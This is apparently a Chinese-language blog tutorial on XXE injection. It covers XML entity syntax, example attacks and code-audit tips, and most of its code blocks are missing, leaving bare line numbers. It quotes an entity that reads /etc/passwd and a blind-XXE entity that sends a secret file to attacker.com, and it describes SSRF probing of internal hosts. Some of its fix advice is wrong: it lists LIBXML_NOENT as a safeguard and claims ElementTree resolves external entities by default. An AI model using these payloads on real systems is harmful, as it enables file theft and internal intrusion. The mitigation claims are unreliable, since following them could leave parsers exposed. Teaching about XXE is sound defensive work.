XML 外部实体注入(XXE)漏洞基本原理
XML 外部实体注入(XXE)是一种通过在 XML 输入中引用外部实体而利用解析器缺陷的攻击方式。也就是说,当应用程序在处理 XML 文档时,如果没有正确禁用对外部实体(External Entity)的解析,就可能被构造恶意的实体引用所利用 。这种攻击可以导致敏感文件泄露、内网端口扫描、SSRF(服务器端请求伪造)、拒绝服务甚至部分场景下的远程代码执行等严重后果。简而言之,XXE 的根本原因在于 XML 解析器默认允许 DTD(文档类型定义)及外部实体,攻击者可借此构造引用系统或网络资源的实体,而将这些内容注入到解析过程。
XXE 漏洞发生时往往是因为开发者未对 XML 输入进行严格过滤或使用弱配置的解析器。例如,缺少disallow-doctype-decl特性或允许external-general-entities解析,就会让攻击者有机可乘。一旦漏洞被触发,XML 中定义的外部实体就会被解析器读取并替换到 XML 内容中,导致文件内容返回给攻击者。实践中,许多XXE实例往往发生在允许用户上传或提交 XML 文档的位置,如配置文件上传、SOAP/XML API 接口等场景。
XML核心语法:实体、DOCTYPE 与 CDATA
理解 XXE 漏洞,需要掌握 XML 中与实体相关的基础语法和概念。XML 文档通常包含以下结构:XML 声明(可选)、DTD 文档类型定义(可选)和根元素 。DTD 用于定义文档的合法结构,包括元素声明和实体声明 。DTD 声明可以嵌入在 XML 文档内部,也可以独立保存在外部 .dtd 文件中再通过 <!DOCTYPE> 引用。
DTD(Document Type Definition,文档类型定义):当 XML 解析器在解析文档时,如果允许加载 DTD,就会按照其中的定义去展开这些实体。正是因为 DTD 具有“引用外部资源”的能力,攻击者才有机会通过精心构造的 XML 来触发 XXE(XML External Entity,外部实体注入)漏洞,从而实现文件读取、SSRF 等攻击。
DOCTYPE 定义:通过
<!DOCTYPE 根元素 [ ... ]>
(内部 DTD)或<!DOCTYPE 根元素 SYSTEM "外部DTD地址">
引入 DTD。DTD 可以用来声明元素以及定义实体 。例如:1
2
3
4
5
6
7
8
9
10
11
12
13
<note>
<to>&example;</to>
<from>User</from>
<body>Test</body>
</note>在这个示例中,
<!ENTITY example "Hello">
定义了一个内部实体 example,后文在 XML 中通过 &example; 引用。<!DOCTYPE note [...]>
表示根元素是<note>
,并且里面包含了 DTD (文档类型定义)。<!ELEMENT note (to,from,body)>
规定<note>
元素必须包含<to>
、<from>
、<body>
三个子元素,且顺序固定。<!ELEMENT to (#PCDATA)>
、<!ELEMENT from (#PCDATA)>
、<!ELEMENT body (#PCDATA)>
表示这些元素只能包含纯文本(PCDATA = Parsed Character Data)
。<!ENTITY example "Hello">
定义了一个实体 example,它的值是 “Hello”。
内部实体(Internal Entity):在 DTD 内部声明的实体,格式一般为
<!ENTITY name "value">
。在 XML 文档中通过 &name; 来使用该实体,其作用相当于在解析时将 &name; 替换为定义的字符串内容 。也就是以上示例中的<!ENTITY example "Hello">
。外部实体(External Entity):使用 SYSTEM(或 PUBLIC)关键字在 DTD 中声明的实体,其值是一个外部资源的 URI。例如:
1
2
3
4
<foo>&data;</foo>这里
<!ENTITY data SYSTEM "file:///etc/passwd">
将/etc/passwd
文件的内容作为实体data
的值引入文档;解析时,&data;
会被替换为该文件的内容 。参数实体(Parameter Entity):只能在 DTD 内部使用的实体,以
%name
格式声明和引用,用途常见于构造复杂的 DTD 或多级绕过中 。参数实体也可以是外部实体,其定义格式为<!ENTITY % name "value">
或<!ENTITY % name SYSTEM "URI">
,并在 DTD 中通过%name;
来引用。例如:1
2
%ext;使用参数实体能实现“盲注”时的多级重定向,在 XXE 攻击中经常扮演回显或数据外带的角色 。
CDATA 部分:CDATA(不解析的字符数据)用于包含不应被 XML 解析器处理的原始文本数据。CDATA 区段以
<![CDATA[
开始,以]]>
结束,区段内的<
、&
等字符都被视作普通文本 。例如:1
2
3
4
5<body>
<![CDATA[
<script>alert("Hello World!");</script>
]]>
</body>在这段中,
<![CDATA[
标记之间的所有内容会被解析器忽略解析(不视为标签),直到碰到]]>
为止 ,例如以上场景解析器也不会把<script>
当成标签,而是当成普通字符串,js脚本也不会被执行。实体引用:普通实体和参数实体在 XML 文档中分别通过 &name; 和 %name; 引用。在解析过程中,解析器会将实体引用替换为其定义的值 。例如,若 DTD 中定义了
<!ENTITY foo "bar">
,那么 XML 文档中出现的 &foo; 就会被解析成 “bar” 。
XXE 攻击示例
基本 XXE(文件读取)
攻击者在 XML 中声明一个指向本地敏感文件的外部实体,然后引用它。例如:
1 |
|
在这个示例中,<!ENTITY data SYSTEM "file:///etc/passwd">
定义了一个名为 data 的外部实体,其值为 /etc/passwd
文件的内容。解析该 XML 时,&data; 会被替换为 /etc/passwd 的实际内容并返回给攻击者 。
盲注 XXE(Out-of-Band 渠道)
在无法通过响应直接看到输出时,可以利用参数实体构造一个“带外信道”。通常做法是在外部 DTD 中定义两个实体:一个读取敏感内容,一个通过网络协议将内容发送到攻击者控制的服务器。例如:
1 | <!-- 攻击者在其服务器上写文件 malicious.dtd --> |
上述 malicious.dtd 文件先定义了参数实体 %file 读取 /home/app/secret.txt,然后定义了实体 %send(其中编码后的 % 为 %
)来生成一个新的通用实体 %exfil,该实体会触发对攻击者服务器的 HTTP 请求并将 %file 内容作为参数发送 。攻击者在请求中使用以下 XXE 负载:
1 |
|
对于以上malicious.dtd的写法,为什么不能写成以下的形式呢?
1 |
这是因为在 DTD 里面直接写 %exfil 和把它包在另一个实体里再展开,涉及到 XML 参数实体解析的规则。在参数实体声明里(<!ENTITY %exfil SYSTEM "...">
),引用 %file
; 是不会被展开的,因为参数实体的值不会在另一个实体声明里进行替换。也就是说,http://attacker.com/collect?data=%file;
不会自动把 %file; 展开成文件内容,而是原样保留。这样就收不到/home/app/secret.txt
的内容,只能看到字面量 %file;
。
而原本的两段式写法,先定义 %send,它的值里包含了另一个实体声明:<!ENTITY % exfil SYSTEM 'http://attacker.com/collect?data=%file;'>
(这里的 % 是 % 的转义,否则 XML 解析时会报错),当在主 XML 里写 %send;
时,解析器会把 %send
的值插进来,相当于“动态生成”了一个新的参数实体 %exfil
,而这个 %exfil
里对 %file;
的引用才会被解析。
基于外部协议(SSRF)利用
当外部实体 URI 使用 HTTP/FTP 等协议时,XXE 实际上变成了对指定 URL 的请求,也就是一种 SSRF(服务器端请求伪造)攻击方式 。例如:
1 |
|
如果 192.168.0.100 是目标内网中的某台主机,这个负载会使解析器向内网地址 http://192.168.0.100:8080/secret-endpoint
发起请求。通过 file:// 读取本地文件或通过 http:// 发起请求,本质上都与 SSRF 类似。同样地,可以把目标换成内部 IP 或使用爆破方式扫描内网地址。这种方式已被用来扫描内网服务和敏感接口,并在某些场景下进一步获取内部资源。
其他利用方式
XXE 还可以与文件上传场景(如 SVG 图片)结合利用,或者通过 jar://、ftp://、ldap:// 等协议进行更复杂的攻击(如利用 jar: 协议提取归档内容) 。总体而言,XXE 的利用方式多种多样,但核心原理都是通过实体声明来触发对文件系统或网络资源的访问。
代码审计:识别XXE漏洞
在代码审计过程中,识别 XXE 常见的检查点主要集中在 XML 解析相关的 API 和配置上。各语言常用的 XML 解析库如果使用不当,都可能引入 XXE 风险。以下是几个典型语言的检查思路和示例:
Java
常见的 XML 解析类包括 DocumentBuilderFactory/DocumentBuilder、SAXParserFactory/SAXParser、TransformerFactory、SchemaFactory、org.xml.sax.XMLReader、org.dom4j.io.SAXReader、JDOM SAXBuilder、javax.xml.bind.Unmarshaller 等 。审计时需要检查是否在实例化解析器后关闭了 DTD 和外部实体解析。
存在漏洞的情况:
1 | import javax.xml.parsers.DocumentBuilder; |
问题:DocumentBuilderFactory 默认允许加载外部实体,攻击者可通过构造恶意 XML 触发 XXE。
安全的做法是在 DocumentBuilderFactory 上调用:
1 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); |
如果这类特性未设置(或设置为 true 反而表示开启实体),则易遭受 XXE 攻击 。此外,Spring、Struts2 等框架如果使用 XML 配置或解析,也要关注其底层是否使用了安全配置。
Python
Python 标准库如 xml.etree.ElementTree 默认会解析外部实体,容易产生 XXE。推荐使用 defusedxml 等安全库来解析。审计时可检查是否使用了类似 XMLParser(resolve_entities=False) 的参数或使用 DefusedXMLParser。
存在漏洞的情况:
1 | import xml.etree.ElementTree as ET |
示例修复代码,使用 defusedxml 库,它对 XXE、Billion Laughs 攻击等做了防御:
1 | import defusedxml.ElementTree as ET |
PHP
PHP 中默认会加载外部实体且早期版本可以用 libxml_disable_entity_loader() 来关闭实体解析。审计时检查是否调用了 libxml_disable_entity_loader(true),或者在调用 simplexml_load_string、DOMDocument::loadXML 时使用 LIBXML_NONET、LIBXML_NOENT、LIBXML_NOCDATA 等常量限制。
存在漏洞的情况
1 |
|
攻击者可以在 input.xml 里插入外部实体,触发 XXE。
修复写法
1 |
|
其他语言
.NET、Ruby、Node.js 等语言同样需要检查 XML 解析配置。例如,在 .NET 中可以设置 XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit;在 Node.js 则避免使用不安全的 xmldom 或 xml2js 默认解析;在 Ruby 中使用 REXML 时可调用 REXML::Document.new(xml, {entity_expansion: 0}) 等。总体思路是一致的:检查解析器是否禁用了 DTD 和外部实体 ,若没有则可视为潜在的 XXE 风险。
参考
https://blog.csdn.net/qq_48201589/article/details/136421867
https://yanghaoi.github.io/2021/10/06/xxe-lou-dong-ji-chu/